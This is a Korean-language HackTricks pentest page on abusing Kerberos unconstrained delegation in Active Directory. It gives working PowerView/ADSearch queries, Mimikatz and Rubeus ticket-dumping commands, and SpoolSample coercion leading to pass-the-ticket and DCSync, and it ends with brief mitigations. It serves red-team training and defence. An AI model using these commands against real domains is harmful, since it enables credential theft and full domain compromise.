Unconstrained Delegation

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Unconstrained delegation

이것은 도메인 관리자가 도메인 내의 모든 컴퓨터에 설정할 수 있는 기능입니다. 그런 다음, 사용자가 컴퓨터에 로그인할 때마다 해당 사용자의 TGT 복사본이 DC에서 제공하는 TGS 내로 전송되고 LSASS의 메모리에 저장됩니다. 따라서 해당 머신에서 관리자 권한이 있는 경우, 티켓을 덤프하고 사용자를 가장할 수 있습니다.

따라서 도메인 관리자가 "Unconstrained Delegation" 기능이 활성화된 컴퓨터에 로그인하고, 해당 머신에서 로컬 관리자 권한이 있는 경우, 티켓을 덤프하고 도메인 관리자를 어디서든 가장할 수 있습니다(도메인 권한 상승).

이 속성을 가진 컴퓨터 객체를 찾으려면 userAccountControl 속성이 ADS_UF_TRUSTED_FOR_DELEGATION를 포함하는지 확인하면 됩니다. 이는 LDAP 필터 ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’를 사용하여 수행할 수 있으며, 이는 powerview가 수행하는 작업입니다:

bash
# List unconstrained computers
## Powerview
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer –Unconstrained –Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'

## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem

# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs

관리자(또는 피해자 사용자)의 티켓을 메모리에 로드합니다 Mimikatz 또는 Rubeus를 사용하여 Pass the Ticket.
자세한 정보: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
ired.team의 Unconstrained delegation에 대한 추가 정보.

강제 인증

공격자가 "Unconstrained Delegation"이 허용된 컴퓨터를 타락시킬 수 있다면, 그는 Print server속여서 자동으로 로그인하게 할 수 있으며, 이로 인해 서버의 메모리에 TGT를 저장할 수 있습니다.
그런 다음, 공격자는 사용자 Print server 컴퓨터 계정을 가장하기 위해 Pass the Ticket 공격을 수행할 수 있습니다.

프린트 서버가 어떤 머신에 대해 로그인하도록 하려면 SpoolSample을 사용할 수 있습니다:

bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>

TGT가 도메인 컨트롤러에서 온 경우, DCSync attack를 수행하여 DC의 모든 해시를 얻을 수 있습니다.
이 공격에 대한 더 많은 정보는 ired.team에서 확인하세요.

여기에서 인증 강제화의 다른 방법을 찾으세요:

Force NTLM Privileged Authentication

완화

  • DA/Admin 로그인을 특정 서비스로 제한
  • 특권 계정에 대해 "계정이 민감하며 위임할 수 없음" 설정

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기